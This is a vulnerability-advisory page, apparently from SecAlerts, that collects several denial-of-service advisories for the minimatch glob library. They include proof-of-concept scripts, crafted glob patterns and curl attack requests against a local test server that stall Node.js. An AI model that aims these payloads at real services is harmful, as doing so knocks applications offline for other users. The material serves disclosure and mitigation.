Where
-Infinity
0

Vendor Risk Score

See how minimatch project compares to other vendors in security performance

View Risk Score →
Severity
7.5
EPSS
0.05%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Nested () extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b))), which exhibit catastrophic backtracking in V8. With a 12-byte pattern (((a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.

---

Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the extglob type, the close token emitted is ) or )?, wrapping the recursive body in (?:...). When extglobs are nested, each level adds another quantifier around the previous group:

typescript : this.type === '' && bodyDotAllowed ? )? : )${this.type}

This produces the following regexps:

| Pattern | Generated regex | |----------------------|------------------------------------------| | (a\|b) | /^(?:a\|b)$/ | | ((a\|b)) | /^(?:(?:a\|b))$/ | | (((a\|b))) | /^(?:(?:(?:a\|b)))$/ | | ((((a\|b)))) | /^(?:(?:(?:(?:a\|b))))$/ |

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

| Pattern | Input | Time | |----------------------|--------------------|------------| | ((a\|b)) | a x30 + z | ~68,000ms | | (((a\|b))) | a x20 + z | ~124,000ms | | ((((a\|b)))) | a x25 + z | ~116,000ms | | (a\|a) | a x25 + z | ~2,000ms |

Depth inflection at fixed input a x16 + z:

| Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | (a\|b) | 0ms | | 2 | ((a\|b)) | 4ms | | 3 | (((a\|b))) | 270ms | | 4 | ((((a\|b)))) | 115,000ms |

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.

---

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

javascript import { minimatch, Minimatch } from 'minimatch'

function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } }

// Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = (${pat}) const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(depth=${depth} "${pat}" -> ${re}) } // depth=1 "(a|b)" -> /^(?:a|b)$/ // depth=2 "((a|b))" -> /^(?:(?:a|b))$/ // depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ // depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/

// Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['(((a|b)))', 15], // ~270ms ['(((a|b)))', 17], // ~800ms ['(((a|b)))', 19], // ~2400ms ['((a|b))', 23], // ~260ms ['(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log("${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}) }

// Confirm noext disables the vulnerability const tnoext = timed(() => minimatch('a'.repeat(18) + 'z', '(((a|b)))', { noext: true })) console.log(noext=true: ${tnoext.ms.toFixed(0)}ms (should be ~0ms))

// +() is equally affected const tplus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log("+(+(+(a|b)))" n=18: ${tplus.ms.toFixed(0)}ms result=${tplus.result})

Observed output: depth=1 "(a|b)" -> /^(?:a|b)$/ depth=2 "((a|b))" -> /^(?:(?:a|b))$/ depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/ "(((a|b)))" n=15: 269ms result=false "(((a|b)))" n=17: 268ms result=false "(((a|b)))" n=19: 2408ms result=false "((a|b))" n=23: 257ms result=false "(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch'

const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, http://localhost:${PORT}) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? ''

const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6

console.log([${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}") res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(listening on ${PORT}))

Terminal 1 -- start the server: node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=%28%28%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntimetotal: %{timetotal}s\n" "http://localhost:3001/match?pattern=%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"}

timetotal: 63.022047s

Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="(((a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second timetotal is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.

---

Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 ((((a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (((a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.05%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.

---

Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

| k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s |

---

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

javascript import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '/a//a//a//a//a//a//a//a//a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => { const url = new URL(req.url, http://localhost:${PORT}) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? ''

const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6

res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') })

server.listen(PORT)

Terminal 1 -- start the server: node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntimetotal: %{timetotal}s\n" "http://localhost:3000/match?pattern=%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3): {"result":true,"ms":"0"}

timetotal: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second timetotal is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

timetotal: 0.001599s

---

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive wildcards followed by a literal character that doesn't appear in the test string. Each compiles to a separate [^/]? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC When minimatch compiles a glob pattern, each becomes [^/]? in the generated regex. For a pattern like X:

/^(?!\.)[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?X[^/]?[^/]?[^/]?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - .gitignore-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

1 / 3
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept js var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203